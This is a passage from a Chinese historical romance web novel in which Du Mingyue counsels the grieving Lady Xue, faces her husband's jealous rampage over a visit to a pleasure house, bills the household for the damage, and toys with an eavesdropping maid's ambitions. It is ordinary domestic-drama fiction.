杜明月像是察觉到了屋内陷入了一片让人有些压抑的沉默,猛地回过神来,立马伸手拿起茶壶给慕子叙倒茶。 茶水从壶口缓缓流下,落入茶杯中,发出悦耳的声音。 慕子叙抬头,看着她动作轻柔又优雅的放下茶壶,将茶杯递到自己面前。 慕子叙伸手接了过来,却没有着急递到嘴边,反而用修长的手指在杯口摩挲着,突然饶有趣味的盯着杜明月道,“我虽喜欢南珠,但南珠珍贵,若放在后宫,可是只有皇后才能拥有的。” “侯夫人确实富可敌国,但我想应该也不会逢人便送这珠子吧?侯夫人,是在暗示我什么吗?”慕子叙身子微微前倾,压低了嗓音,声音极具魅惑。 闻言,杜明月一愣,抬头便撞入慕子叙那带着笑意和侵略感的眼眸中。 杜明月的心猛地跳动了一下,她是第一次看到这样的慕子叙,和平日里看到的完全不同。 茶水不小心落在了杜明月的手上,杜明月急忙回过神来,慌乱的用帕子擦着自己的手和桌子,显得忙忙碌碌的,就是不肯抬头,像是在故意躲着慕子叙的目光。 一定是错觉吧! 慕子叙是如山间白雪、谪仙一般的人,清冷孤傲,怎么可能会露出那样的神情呢,一定是自己看错了。 果然,她再抬头时,看到慕子叙脸上的神色已经恢复如常,只有嘴角还噙着似有似无的笑意。 “侯夫人?”慕子叙见杜明月痴痴望着自己,蓦地心口一跳,也紧张了起来,一脸正色调戏不下去了。 “啊,那个……我想起我还有事,今日就先告辞了!” 不知为何,听到慕子叙的声音,她竟莫名有些心慌。 杜明月猛地起身,指了指门口,几乎是说完告辞的话,就慌不择路的转身跑了。 慕子叙一愣,怔怔的看着她急急忙忙的拉开房门,又急急忙忙的迈出门槛,将房门紧紧关上。 “吓到她了吗?”慕子叙垂眸看着他眼前的那杯茶,眼底是浓浓的抹不开的笑意。 门外,杜明月猛地停下脚步,攥紧双手回头看向紧闭的房门,目光中带着震惊和困惑。 我刚才,是被调戏了吗? 第四十二章 路遇薛夫人 杜明月深吸了一口气,将自己有些混乱的心跳平复下来。 她用力的摇了摇头,心里暗暗揣摩:不会的,不会的,慕子叙刚刚说的一定是玩笑话。 这么一想,杜明月的内心轻松多了。 她刚才差点要当真了! 楼下,依然是一片寻欢作乐的场景、靡靡之音不绝于耳。 杜明月匆匆扫了一眼,趁还没人注意到她,便低下头从来时的路绕了下去。 她正准备去刚才碰见伴竹的地方寻找红豆,就看到红豆一脸不高兴的迎面走来。 “怎么了?”杜明月不知为何,心情很好,说话时,眼角眉梢都带着浅浅的笑意。 红豆不满的道,“这个死伴竹,让奴婢下去帮忙,我还没伸手呢,突然又说什么,想起来我笨手笨脚的,还是站在一边不要添乱!我一气之下给了他一脚,就回来了!” 杜明月看着她气呼呼的样子,忍不住“噗嗤”一声笑了。 每当红豆这么说话的时候,就觉得她真的像个天真烂漫的小丫头,完全能让人忘记她有一身过硬的武艺。 红豆一见杜明月笑了,立马急了起来,她跺着脚道,“主子,你也在笑话奴婢笨手笨脚吗?我真的有那么差劲吗?” “没有”杜明月开口安慰道,“今日难得天气这么好,我带你去街上逛逛吧。” 听到这话,红豆立马眼睛一亮,忙不迭的点头。 京城街上好玩的东西可多了,她就是一直没有机会好好出去转转。 红豆眼睛亮晶晶的,紧紧的跟在杜明月的身后,一副急不可待的样子。 两人上了马车,杜明月让马车夫将两人送到热闹的中大街上。 中大街是京城最繁华的商业街,街道两旁建筑物鳞次栉比,商贾如云。 原本宽阔的大街因往来车马、人群摩肩接踵,显得都窄了不少。 杜明月带着红豆从马车上下来,两人穿梭在人群中,眼前满是琳琅满目的商品,耳边尽是小贩们热情的叫卖声。 “主子,那边有卖米糕的。” “主子,那边好像有耍杂技的!” “主子,那边怎么排了那么多人,是有什么了不得的东西吗?” 自从红豆置身于这热闹的中大街上,她的嘴巴就没停过。 她跟在杜明月的身后叽叽喳喳个不停,而耳朵几乎要磨出茧子的杜明月也只能无奈被迫接受了。 杜明月感觉好久没有这么轻松自在和快活了,因此听着红豆的呼唤,一点也不觉得烦,反而对不断的给她掏腰包买东西这件事乐此不疲。 这条热闹的街还没有走上三分之一,杜明月的脚步突然一顿,在人群中看到了一个让她愧疚的身影。 “主子,主子……”红豆看着路边的小摊,正开心的想要和杜明月说话,发现她没有反应,也急忙停下了脚步,顺着她的目光看了过去。 是薛夫人! 红豆看了一眼杜明月,下意识挡在她的身前,像是生怕薛夫人在得知是段骆岐害她流产这个事实后,会迁怒于杜明月,万一当街起了冲突就不好了。 “没事。”杜明月明白她眼中的担忧,却越过她走向了薛夫人。 杜明月不是没有被打的思想准备,可失去孩子的痛苦,她比谁都清楚。 薛夫人流产即便不是她故意害得,那也是被她牵连波及,因此即便薛夫人真的动手打她,她也甘愿承受。 然而,让杜明月意外的是,薛夫人只是怔怔的看了她一会,并没有预想的那样歇斯底里的冲上来,反而露出了淡淡的,甚至带着点悲伤和解脱之感的笑容。 “侯夫人,方便和我喝杯茶吗?”薛夫人淡淡的开口,安静的等着杜明月的回答。 “好。”杜明月几乎没有任何思考,立马就答应了。 薛夫人朝着她点了点头,看了眼旁边的茶楼道,“这家有今年新上的春茶,味道还不错。” 杜明月点头默默的跟上了她的步伐,从楼下到楼上雅间,杜明月都小心翼翼的观察着薛夫人,总觉得薛夫人身上有一种她读不懂的冷静。 这和她认知里,失去孩子的那种悲痛不同,似是有一种说不清道不明的情绪将薛夫人绑住了,她被迫活在这种温柔克制的壳子里,不能肆意的发泄着内心真实的情绪。 “请吧。”薛夫人温柔冷静的嗓音将杜明月从自己的思绪中拉了回来。 杜明月急忙在她对面坐下,薛夫人却也并不急于开口,而是等店小二将茶和点心都上齐,房门紧紧关上后,这才一边给自己和杜明月斟上茶,一边开了口。 “或许这就是冥冥之中自有天定,”薛夫人的眸子闪了闪,淡淡的继续道,“那孩子就不该出生在薛府。” 这话惊得杜明月心里一震,她已经隐隐的听出了一丝不寻常的意味,难不成薛夫人和这薛小将军还有什么不为人知的纠葛和秘密吗。 杜明月紧抿嘴唇,继续面不改色冷静的听着。 薛夫人看得出来,杜明月此时似乎有些拘谨和不自在,她微微一笑,却突然转了话锋。 “听说侯夫人当时是因为深爱侯爷,才嫁进镇南侯的是吗?”薛夫人垂眸,掩去眼底的悲伤,似是在努力克制着自己的情绪。 杜明月尴尬的攥紧了手中的杯子,虽说她自觉亏欠薛夫人的,但她也不会轻易的将自己的事情都告与外人知晓,因此干脆选了闭嘴,对她和段骆岐的过去选择缄口不谈。 而薛夫人也无意窥探她和段骆岐的故事,见她沉默不语,便自顾自的继续说了下去。 “我不是因为自己喜欢才嫁进薛府的,”薛夫人回忆起过去的事,突然发出一声自嘲的冷笑,“不,准确的说,我是被迫嫁进薛府的。” 杜明月意外抬眸,这次终于看清了她眼中的愤怒和不甘,但这些想法很快都被无奈和妥协的情绪淹没。 过去的记忆被再次掀开,薛夫人的神情甚至都变得生动了起来。 杜明月安静的看着她,听她边回忆边诉说那些过往。 她这才知晓,在薛夫人嫁给薛小将军的背后,也是一个令人唏嘘的故事。 第四十三章 一语点醒梦中人 薛夫人本名钟宜颜,是家中嫡女,原本有个两情相悦的青梅竹马。 她与青梅竹马幼年时也算是门第相当,只是后来那青梅竹马家道中落,他也便成了落魄书生。 薛小将军是在街上对她一见钟情的,那日薛小将军的马匹受了惊,一路狂奔,就在差点伤到钟宜颜的一刹那,他将马匹制服,而钟宜颜面对危险时的沉着冷静深深吸引了她。 此后,薛小将军对她的喜欢更是一发不可收拾,私下里无事总是追着她跑,后来得知钟宜颜有一个两心相悦的青梅竹马,沉寂了一段时间。 就在钟宜颜以为薛小将军放弃时,却突然收到了两家已经定亲的消息。 钟宜颜不能接受,要去寻她那青梅竹马解释清楚时,却早已不见了对方的影子,只收到了对方留下的一封书信。 之后,她始终拗不过父母之命媒妁之言,心死后,上了薛府接亲的花轿。 因此,她坚信是薛小将军用权势逼走了她的青梅竹马,然后强娶了自己。 要说恨,钟宜颜一开始是恨的,可后来,她好像逆来顺受的接受了现实,除了不爱薛小将军,她已经学会安分守己的做一个合格的薛夫人。 “所以,那孩子来得不是时候,是个意外,我本就没有打算生下他。” 薛夫人从回忆中抽离出来,抬头看向杜明月,那目光中带着一抹决然和坚定。 听到这话,杜明月内心猛地一震,她好像意识到了什么不对劲。 薛夫人那日突然摔倒不是意外,或许她就是看到自己曾在那个地方摔倒,所以想抢在自己前面赌一把。 薛夫人赌赢了,但她和薛小将军的孩子却没了。 杜明月眉头微蹙,一双清澈的眸子直直的盯着薛夫人。 失去孩子,薛夫人的内心不可能没有一点触动,但比起伤心和难过,薛夫人或许更执着于过往。 想到这里,杜明月微微叹了口气道,“薛夫人似乎太执着于过往了,事情既然已经过了这就,或许看开一些对自己更好。” 杜明月忆起了薛小将军找来镇南侯府教训段骆岐时的模样,他的愤怒和悲痛都不是假的。 他提到薛夫人时的样子,是那么的紧张和在意,杜明月能想象的出来,他面对薛夫人时,是怎样一副温柔呵护,用情至深。 “我如何能释怀……”薛夫人不知为何,听了她的劝慰,却突然有些激动了起来,眸中蒙上了一层水雾,声音都忍不住微微颤抖了起来。 杜明月见薛夫人满脸都写着遗憾和委屈,她能明白,她内心始终放不下那离开的青梅竹马。 如果当时见一面会怎样呢?那书生现在又在何处做什么? 杜明月突然想起,薛小将军不是那种仗势欺人的混蛋将军,在京城百姓口中也是风评极好的,那这样的人难道真的会用权势将那落魄书生逼走吗? 如果那书生真的爱她,竟然这么轻易就放弃了吗? 想到这里,杜明月抬眸道,“薛夫人,有时候很多事,并不是眼见为实,也可能你看到的表象都是假的。” 毕竟,她已经有段骆岐这个前车之鉴了。成亲五年,他一直都与自己假装恩爱,却在外面偷偷养外室。 薛夫人闻言一愣,抬头不解的看向杜明月。 杜明月对她那青梅竹马的书生不了解,不敢胡乱品评,但对薛小将军对自己夫人的用情至深还是看得见的。 “我看得出来,薛小将军真的很在乎你。”杜明月点到即止,“或许,薛夫人可以试着放下心中的成见和执着,用心去感受和薛小将军相处的点点滴滴。” 薛夫人闻言苦笑了一下,杜明月说得这些话,她的娘亲也曾劝过她,可是她无论如何都放不下。 她轻轻的摇了摇头,不再和杜明月继续这个话题,只道,“总之,这件事不是侯夫人的错,侯夫人日后也不必为此感到自责和愧疚。” 杜明月沉默的看着薛夫人,心中明白怪不得薛小将军如此喜欢她,她是真正的良善之人,不愿意有任何人因她而良心不安。 “今日遇见侯夫人是机缘巧合,我没能将那三间铺子的地契带在身上。”薛夫人声音温柔的再次开了口,“日后,我一定将那三张地契还给侯夫人。” 她的话让杜明月再次愣住,她怎么也想不到薛夫人竟然还有这种想法。 “不必,那三间铺子薛夫人就留下吧。”杜明月急忙开口拒绝,即便薛夫人不怪她,她也想要做些什么来弥补。 “……”薛夫人张了张口,但话还未说出口,便被杜明月接下来的话震惊到了。 “薛夫人,如果你真的觉得遗憾,迟迟放不下心中的执念,那不如主动一次看看。” 杜明月声音沉着淡定,却在薛夫人的心中掀起了惊涛骇浪。 “这三间铺子盈利都非常可观。”杜明月淡淡道,“若是薛夫人真的迟迟不能释怀,不如拿着这些赚来的银子,私下打听一下那书生的下落,看看他如今过得如何。” “或许,有了那书生的消息,薛夫人会对很多事产生不同的看法,也就真的能放下过往了。” 杜明月真诚的道,“如果不能主动打破这种局面,那将会永远活在自怨自艾的想象中,哪怕是就一次,薛夫人也该主动去抓住些什么。” 杜明月话落,屋内陷入了久久的沉寂。 薛夫人好像一时半会接受不了她的话,只是愣愣的看着她。 过了许久,薛夫人那双没有情绪起伏、死气沉沉的眸子,突然亮了起来,灵动又有生机。 “侯夫人!谢谢你!”薛夫人苍白的脸色也因为激动而有了血色,她眸光熠熠的道,“今日你一语点醒梦中人,原来一直是我不肯醒。” 薛夫人一副充满了斗志的模样,“我不能继续这么浑浑噩噩,如同行尸走肉一般生活下去。” “我要找到他的下落,我就远远看一眼,哪怕看到他已经成家生子,我也能放下好好过我的日子。” 薛夫人热泪盈眶,用帕子蹭了蹭鼻尖,像是安慰自己一般,自言自语道,“没错,我总要知道他是生是死,是好是坏,这样我才能没有遗憾。” 或许,现在的薛夫人并不知道她会一语成谶。 第四十四章 竟被妓子迷住 春日的寒意正在慢慢消散,天气转暖,街上的树木已经抽出了嫩绿的新芽。 杜明月又陪着薛夫人稍坐了片刻,见天色也不早了,便起身告辞了。 回去的马车里,杜明月瞧着红豆时不时掀开帘子往外看,一脸遗憾的模样,便忍不住笑道,“这大街上的摊位又跑不了,以后有机会,我再带你出来。” 果然,一句话说的红豆立马又开心了起来,接下来一路上,也是叽叽喳喳乐此不疲。 马车在镇南侯府门前一停,红豆先住了嘴,脸上的笑意也收敛了不少。 “主子,到了。” 红豆出声提醒,杜明月抿了抿唇,动作轻缓的下了马车,一脸凝重的进了大门,朝着摘月居走去。 路上,洒扫的丫鬟看到她,立马都握紧了扫帚,紧张的转过身子,当作没看到她一般。 杜明月目光犀利的将她们的反应都尽收眼底,心里闪过一抹诧异。 这些丫鬟对自己一副避之不及的模样,是怎么回事。 突然她的脚步一顿,像是想起了什么,立马急匆匆的冲进了摘月居。 院里,只有春红站在门外,战战兢兢大气不敢出的模样,而她的房门此刻却大开着。 杜明月心中一沉,便猜到是怎么回事了,但她立马扬起下巴,一脸孤高清傲的迈进了门槛。 “你还知道回来!” 杜明月才刚跨进门内,突然一本书册从不远处狠狠地向她砸过来。 她脚步一顿,红豆已经出手,书籍没有砸在她的身上,而是重重的撞在了门上。 杜明月愤怒的瞪圆了眸子,狠狠地看向段骆岐说话的方向,只见他此时脸色比锅底还黑,正襟危坐,整个人好像都被怒火点着了。 “侯爷这话什么意思?”杜明月面不改色,举重若轻的继续迈开步子朝前走着。 红豆担心的紧紧跟在她身边,看着她在段骆岐面前站定。 段骆岐几乎将后槽牙咬碎,强忍着心中的怒气死死的盯着杜明月,但在她湖水般沉静的眸子里看不到半点羞愧的神色。 “你去了南风馆?”段骆岐猛地伸手,捏住了杜明月的肩膀,他强忍着要将她的肩膀捏碎的冲动,喑哑着声音开口。 肩膀上传来的痛意让杜明月下意识蹙眉,但很快她便压下这股痛意,抬头如挑衅般瞪大着眸子,一脸平静的看着他。 “是。” 杜明月直接又不加丝毫遮掩的态度,彻底激怒了段骆岐,他猛地将一推,杜明月整个人眼看着就要撞向一边的桌子。 红豆眼疾手快的立马扶住了杜明月,让她免于受伤,接着整个人挡在杜明月身前,瞪大了眸子与段骆岐对峙,不让他再近身半步。 “好,好啊,杜明月!”段骆岐热血上头,几乎都要被气得昏厥,他指着杜明月道,“我真想不到,你竟然被一个妓子迷住了!” “你还记得你今日刚被董宇羞辱过吗!你还记得是我!是我,不同你计较,还口口声声要保护你吗!你就是这么对我的?” 发狂的段骆岐指着自己,一声声的质问,但杜明月神色淡漠,一言不发。 杜明月的冷漠的态度刺痛着段骆岐的心,他实在想不通杜明月为什么会这么做。 “杜明月!你要知道,今日若不是我,你会马上被赶出侯府的!” 段骆岐怒吼着,眼睛发红如同一头暴怒的野兽,“被董宇羞辱时,你要死要活,口口声声礼义廉耻,现在全都抛在脑后了?” 杜明月直直的盯着段骆岐的眸子,心底发出一声冷笑,眼底是对他的嘲讽和不屑。 董宇!董宇!口口声声都是董宇! 段骆岐似乎不记得董宇欲羞辱自己这件事,本就是他自导自演,他不仅不记得他不久前还口口声声说要弥补自己,现在却立马将这件事变成一把捅向自己的利刃。 他还是这么自私、虚伪,左右互搏。 杜明月彻彻底底看透他后,一刻都不想和他呆在一个屋檐下。 “是又如何!”杜明月故意激怒段骆岐,“既然侯爷容不下我,那就立刻将写好的和离书给我!” 杜明月这话一出,原本正盛怒的段骆岐却好像突然被人泼了一盆冷水,一下子冷静了下来。 看着面前迟迟不开口的段骆岐,杜明月继续步步紧逼道,“只要我离开侯府,侯爷日后也不用再为我的言行不端而如此愤怒!” “拿来吧。”杜明月伸手,神色平静,心绪丝毫不受眼前的段骆岐影响。 段骆岐深吸一口气,有些不知所措的闭了闭眸子,想让自己冷静下来。 但他失败了,他心中无处发泄的怒火,几乎要将他整个人吞没,他喘不上气来,不知道他现在到底该怎么办,心底升起一种想要摧毁一切的冲动。 “啊!”段骆岐发出一声怒吼,望着杜明月的眼中几乎能射出火焰,可他又不能动杜明月,于是气得转头就拿她屋里的东西撒气。 不管不顾的段骆岐一通打砸、发泄,发疯的将手边所有能触及到的东西都扫落、打翻在地上。 一阵哐哐当当、稀里哗啦的声音过后,屋内出现了短暂的宁静。 地上一片狼藉,各种碎片铺满地面,段骆岐抬头,便对上了杜明月那双冷静打量的眸子,他的内心一沉,更加压抑难受了。 段骆岐甩手就要走,在即将踏出门槛时,身后却传来了杜明月的声音。 他心中一喜,急忙停下脚步,却只听到了她如讨债般的话语倾泻而出。 “段侯爷,这屋里无用的摆设你砸了也便砸了,只是这里还有不少是我日常要用的东西,我还要添补。” 杜明月的声音不疾不徐,“按之前说好的,这些花销都要从侯府账上出,那我便列了单子去老夫人那里领钱。” 杜明月以为段骆岐不会答应,说这些话,不过是想要故意给他添堵和羞辱他的,但让她没想到的是,段骆岐竟然同意了! 看着段骆岐气冲冲走远的身影,杜明月觉得,他大概是真的被气傻了,不然怎么会头脑一热答应赔偿。 无论如何,他同意了就好,只是不知道看到账单的那一刻,会不会后悔自己刚才的大方。 第四十五章 是贴金子了吗 杜明月勾唇,完全没有被段骆岐刚才发疯的样子影响心情,甚至心情好像更好了。 她转头对红豆道,“收拾下桌子,我要列账单了。” 红豆见杜明月没事,立马也放心的笑了。 她先是将春红叫进来收拾地上的残局,而后动作迅速的收拾好了桌案,给杜明月重新摆上笔墨纸砚。 杜明月一边时不时抬头,心满意足的看春红一脸不情愿的收拾,一边时不时落笔,将屋内被损坏和打烂的物品名称都记到了清单上,还在后面标上了价钱。 很快,长长的一份账单写好了,杜明月仔细检查后,叠成了巴掌大小交到了红豆的手中。 “去,送到老夫人那里,她若不肯,你就说是段侯爷同意的,再不行,你便去找段侯爷或者来回来找我。” 杜明月一脸轻松的说完,转头悠闲的看着还在打扫的春红。 “一个粗使丫鬟,动作这么慢,是会被卖掉的知道吗!”杜明月蹙眉不悦的催促。 红豆抿唇,忍住笑意,转头拿着账单匆匆走了。 红豆去到段老夫人房中时,段骆岐也在,看着比刚才在摘月居的样子冷静了很多,但依然是铁青着一张脸,眉头紧锁,满脸的不悦和不耐烦。 就在不久前,段老夫人还用手杖捶着地,气呼呼的要让段骆岐立马将杜明月赶出去。 而段骆岐只能在一旁耐着性子安抚。 “母亲,外头那些风言风语都是乱传,不作数的。”段骆岐着急的解释道,“明月就是故意为了气我,她不会背叛我的。” “今日董宇的事情,不就是最好的证明吗,她甚至都不想活了。” “依我看,正好趁着董宇这件事把她赶出去!一个被羞辱过的女人,就不配做我们镇南侯府的女主人!” 段老夫人瞪着那双三角眼,义正言辞的催促道,“你还在犹豫什么!” 段骆岐犹豫的张了张口,还是只能耐心安抚道,“母亲,今日的事情,你心里明明清楚是怎么回事,明月是为了霖儿,是为了我们镇南侯府做出了牺牲的。” “如果不是她,以后镇南侯府的路会有多艰难,您是知道的。”段骆岐甚至道,“况且那药还是您亲手给她下的,如果她真的被赶出了侯府,说不定会闹起来,到时候我们谁都讨不到好处。” 段骆岐说完,定定的看着段老夫人,以为她还会反驳,却不知为何突然安静了下来。 段老夫人也不知道是听了他的哪句话,竟突然像是想通了一般,话语不再那么咄咄逼人。 “好,现在可以不赶她出府,但等这件事情风波平息后,你必须赶紧和她和离。”段老夫人一甩袖子,坐回椅子上。 段骆岐也暗暗松了口气,有些筋疲力尽的坐下了,而就在这时,看到红豆拿着账单进来了。 “老夫人,这是侯爷砸坏我们主子屋里物品的清单。”红豆细眉一挑,心中生出几分欢喜。 这段骆岐和段老夫人正好在一起呢,也省得她来回跑腿,找人对峙,不怕段骆岐不承认,也不怕段老夫人不给给钱了! 段老夫人看到段骆岐没有开口否认,为了给他面子,也只好不悦的让她递上来。 “什么!她那屋里的东西都是金子做的吗!什么东西,竟然这么贵!” 段老夫人那双促狭着眯起的眼睛突然瞪大,像是看到了什么不可置信的东西一般,紧紧的盯着手里的账单,声音也有些破音。 “老大,你看看!她是不是故意要讹我!我不信她屋里的东西这么贵,快赶上半个侯府了!” 段老夫人捏着账单的手微微颤抖,如同要甩掉烫手山芋一般,慌忙将这账单扔给段骆岐。 段骆岐听了她这话也是一脸不解,急急的打开,目光一目十行的扫过,整个人一下子愣住了。 他母亲说的话一点都没错,这杜明月是在屋里的东西上贴金子了吗! 他正要开口,脑海中却突然回想起一些过去的画面,那时杜明月还没有和自己成亲,天天怀里抱着一个盒子在后面追着自己。 “这时前朝宫里的玉如意,我觉得只有你这样君子端方的人才配得上。” “你喜欢大书法家米青的作品,我帮你找到了真迹,快收下。” “这金镶玉腰带你戴上肯定好看,试一下吧。” …… 那时的杜明月眉眼弯弯,明媚热烈,比什么美人图上的女子都要美。 段骆岐内心突然一紧,低头轻声叹了一口气。 是啊,杜明月家财万贯、富可敌国,送给自己的东西件件价值连城的,那她自己屋里会用昂贵的好东西,自然也是无可厚非的。 段骆岐又深深的叹了口气,犹豫了片刻后,终于开口问了一句,“这里就没有什么无用的摆设吗?她不是说过,如果是那些东西就算了。” 红豆心里忍不住要翻个白眼,但忍住了,一本正经的道,“没有,这些都是我们主子每日要用的。” 段骆岐又叹了一口气,一旁的段老夫人急了。 “胡说,这账单上有个什么花瓶,她每天用那花瓶做什么!就一个拿来看的摆设罢了,和她一样好看无用!” 段老夫人气呼呼的说着,红豆咬了咬牙,让自己的声音听起来尽量不显得那么生气。 “这花瓶我们主子一天要用四五遍呢,早上起来用来插花,下午用来涮笔,晚上仔仔细细的要擦干净了,才能安心睡觉呢。” 红豆一通胡说八道,听得段老夫人都有些傻眼了。 最后还是段骆岐实在听不下去了,摆摆手道,“算了,母亲,就按这账单上的金额去账房支取吧。” “你……你真是!”段老夫人有苦难言,但看他神情坚定,又想着如今镇南侯府还要靠他,只能先强压下心中的不满和心痛,扔了一个对牌给红豆。 “滚去取吧!”段老夫人几乎是恶狠狠的开口。 红豆却完全不在乎她的态度,见目的达成,立马欢欢喜喜的握着对牌去了账房。 第四十六章 以后宣扬出去 红豆走后,段老夫人一想到那么大一笔银子从自己的指尖溜走,就心痛的一抽一抽的。 她忍不住又开始朝着段骆岐念叨了起来,“老大,你不能再这么纵着她了,你也不能这么好面子。” “就算你之前答应过她,一切花销侯府来出,那又怎样!” 段老夫人想起杜明月的富有便嫉妒的眼睛要冒火,“她花钱大手大脚,咱们府里的钱可都是你辛苦得来的,如此不知节省,以后要怎么办?” 段骆岐面露不耐,已经待不下去了。 “你就跟她说,你反悔了,她再这么奢侈无度,你是不会管她的!” 段老夫人像是又觉得哪里不对,又补充了一句道,“还有,你是侯爷,这府里的一切东西都是你,她屋里的东西砸了就砸了,你干嘛要许诺赔给她!” “母亲,别再说这些了。”筋疲力尽的段骆岐按了按抽疼的额角,今日发生的事情太多了,他现在心乱如麻,对所有的事情都没有头绪。 “怎么不能说!”段老夫人眼睛一瞪,还在继续道,“你不去说,我去说。” “以后,她的吃穿用度若是节俭些,那还能从府里的账上出,不然的话,她一分也别想从我这里拿走。” 说着,段老夫人立马起身,一副马上就要冲入杜明月眼前算账的模样。 “够了!”额角抽疼的段骆岐终于忍无可忍,大声制止。 话音落下,他和段老夫人都愣了住了。 “母亲,我不是这个意思……”段骆岐想象不到,他竟然会有朝着自己母亲大吼的一天,话刚一出口,他就后悔了。 段骆岐慌忙道,“母亲,今日发生太多事了,我想静一静,这件事就先算了吧。” 说完,段骆岐转头就走,留下段老夫人久久没有反应过来。 “他这是朝我发火了?”回过神的段老夫人看向自己身边的嬷嬷,一脸的不敢置信,“老大是最孝顺的,这么多年,他从未忤逆过我,现在竟然?竟然?” 段老夫人只觉得气血上涌,觉得自己双腿发软又要站不住了。 一旁的嬷嬷急忙给她胸口顺气,慌忙扶着她坐下。 “都是杜明月这个贱人,你看看,我就说她不能再留在府里了,这个侯府迟早要因为她从里面乱起来!” 段老夫人好不容易呼吸平稳了一些,立马又开始骂骂咧咧了起来,她将所有的问题都归咎于杜明月。 “老夫人,您冷静一下,侯爷说的也对,今天的发生的事情确实太多了,您得给侯爷一些时间,至于夫人现在还在咱们府里呢,横竖是跑不了的,您要教训她,以后还有的是机会呢。” 在嬷嬷挤眉弄眼的一通安抚下,段老夫人确实冷静了下来。 她虽不再想着冲出去找杜明月,但心里的恶气未出,嘴里始终还是骂骂咧咧个不停。 “哼,这杜明月不就是有些钱财傍身,若是她一无所有,早就被老大赶出去了,她一个残花败柳,还在那里自命不凡上了!” 段老夫人说着眼睛冒火,恨不能立马打杜明月两个耳光才能消气。 “等着瞧吧,等她和离出府,一定没人要她!”段老夫人咬牙切齿,喋喋不休个没完。 “是是是。”嬷嬷在一旁见她越骂越大声,生怕她又激动的晕过去,立马又开始劝了。 “老夫人,我看您不要在这里生闷气,气坏了身子,要我说,等她被休离府那天,就安排人把她今日这事儿给宣扬出去!” 嬷嬷一脸得意的坏笑,“到时候京中百姓都知道她被人羞辱过,是个残花败柳,那任凭她多有钱,名声坏了,她在京城就待不下去了,只能灰溜溜的滚回老家去!” 听了这话,段老夫人果然立马高兴了起来。 “对,对,到时就这么干,你一定得多安排几个人去外头宣扬,最好是让所有人都能知道。”段老夫人恶狠狠的说着,眼神阴暗得让人不寒而栗。 “是什么事,要让所有的人都知道?” 一只脚踏进门槛的段骆芙只听到了他们对话的后半段,错过了所有关键的信息,因此进门便一脸单纯和好奇的发问。 段老夫人和嬷嬷对视了一眼,立马心照不宣的选择了隐瞒。 毕竟段骆芙一心向着杜明月,她们的这些算计是绝对不能让她知道的。 “没,没什么。”段老夫人尴尬的笑笑,朝着段骆芙招手,让她坐到自己身边。 入夜,杜明月让红豆坐下陪自己一起吃饭。 红豆埋头干饭,一口气吃了三大碗鹿肉闷饭,吃完将碗放下,还有些意犹未尽的道,“真好吃,奴婢自从跟了主子,真的是有口福了。” 红豆嘿嘿的笑着,杜明月被她的模样逗笑,放下吃完的饭碗,用帕子擦了擦嘴道,“嗯,吃完了才有力气打架。” 红豆一愣,发出一声爆笑,又像是想起了什么道,“主子,我刚刚从外面回来,听说侯爷今晚去了偏院,却被柳姑娘赶了出来。” 红豆眨着八卦的眼睛,有些不解的道,“奇怪,那柳姑娘不是巴不得侯爷去她那里吗?这好不容易去一趟怎么还把人推出来了。” 杜明月心中冷笑,若是放到平日,柳楹莹自然是巴不得能留下段骆岐过夜的。 可是现在,柳楹莹被董宇打得一身鞭痕,她自然不会傻到留下段骆岐,让他发现这件事的真相。 “她现在……”杜明月刚想开口和红豆说话,突然看到门外一抹黑影一闪而过。 红豆也发现了,眼神立马变得凌厉,起身就要出去,可杜明月却出声拦住了她。 “红豆。”杜明月脸上没有一丝慌乱,反而挂着淡淡的笑容。 红豆反应了过来,立马盯着外头的黑影仔细端详了起来。 从映在窗户上的轮廓看来,准备在外头偷听的人,不是别人,正是刚在外头扫地的春红。 红豆立马转头,张了张口,用只有她和杜明月两人能听到的声音道,“主子,打算怎么办?” 杜明月美眸一转,唇角勾起,却没有说话,而是起身朝着窗户走了过去。 第四十七章 我抬你做姨娘 “啊!” 眼前的窗户猛地被人打开,原本正在侧耳偷听的春红吓了一跳,抬头便看到杜明月正面无表情的看着自己。 她立马心虚的拍打了一下窗户,借口道,“这上面落了脏东西,奴婢就是来打扰的,夫人,奴婢真的不是……” “进来吧。”杜明月瞧着春红写在脸上的心机,感叹她竟不知自己这么蠢,就这样还妄想做段骆岐的妾室。 看来,她要帮春红一把了。 “夫人,你说什么?”春红一脸不可置信的看着她,像是不相信她会突然好声好气的让自己进她的屋子一般。 杜明月不悦的蹙了蹙眉,眼底满是上位者的威仪,“要我再说第二遍吗?” “不,不,奴婢马上进来!”春红说着,立马抬腿就往房门的方向走。 春红推开房门进来,便撞见红豆正在屋里一脸审视的看着自己。 红豆一脸疑惑,不明白杜明月葫芦里卖的到底是什么药,但她相信,只要是杜明月的决定,一定有她的理由。 杜明月在两人的注视下,缓缓的走向屋内的八仙桌,桌上的饭菜虽已是剩菜,但仍然十分丰盛。 春红匆匆扫了一眼桌上,宝塔肉、叫花鸡、松鼠桂鱼……不下十数盘美味佳肴,看得她口水简直都要流下来。 或许是察觉到了杜明月望向自己的眼神,她急忙收敛了眸中的艳羡、渴望。 春红以为自己将这些小心思掩饰的很好,但没想到杜明月开口却是一击即中。 “想吃吗?”杜明月眼眉微挑,淡淡的开口,“想天天都能换着花样吃吗?” 春红震惊的看着杜明月,不知道她和自己说这些是什么意思。 “奴……奴婢不懂夫人是什么意思。”春红袖子下的手紧紧攥着,因为害怕而微微有些颤抖。 如今的杜明月早就不是以往那个温良和气的侯夫人了,现在的她对自己可是真的动辄打骂、责罚的。 春红低下头,不敢看杜明月,然而下一瞬却因为杜明月更露.骨的话惊得猛地抬头。 “以后,想坐在这里,和主子一样,与侯爷一起吃饭吗?” 杜明月看到春红的眼睛亮的如同天上的星,便知道她这个蠢货是真的存了这个心思的。 她淡淡的笑道,“其实你长得也不错,身量苗条,眉清目秀,给侯爷做姨娘也是完全拿的出手的,只是……” 听着杜明月的“夸奖”,春红更加激动了,见她突然缄口不言,急忙追问道,“夫人,只是什么?” “只是,你猜这么多年了,侯爷为什么一直不肯纳妾?”杜明月挑眉,好整以暇的看着她。 春红真的被问住了,她本想说侯爷也不是只有她一个人,还有一个柳楹莹呢。 可是再一想,这柳楹莹这么多年了,却还是不能入府做妾,只能做个见不得光的外室,难不成,这里还真的有什么她不知道的原因? 杜明月瞧着她认真思索的模样,忍不住笑出了声。 “看来你的确不知道。”杜明月勾唇,冷冷的道,“那是因为侯爷曾答应过我,绝不纳妾,他只会有我这一位侯夫人!” 杜明月说这些时,不禁也想起了当初段骆岐说这话时的场景。 那些过去的深情越是说的真挚,现在的一切就越是显得可笑。 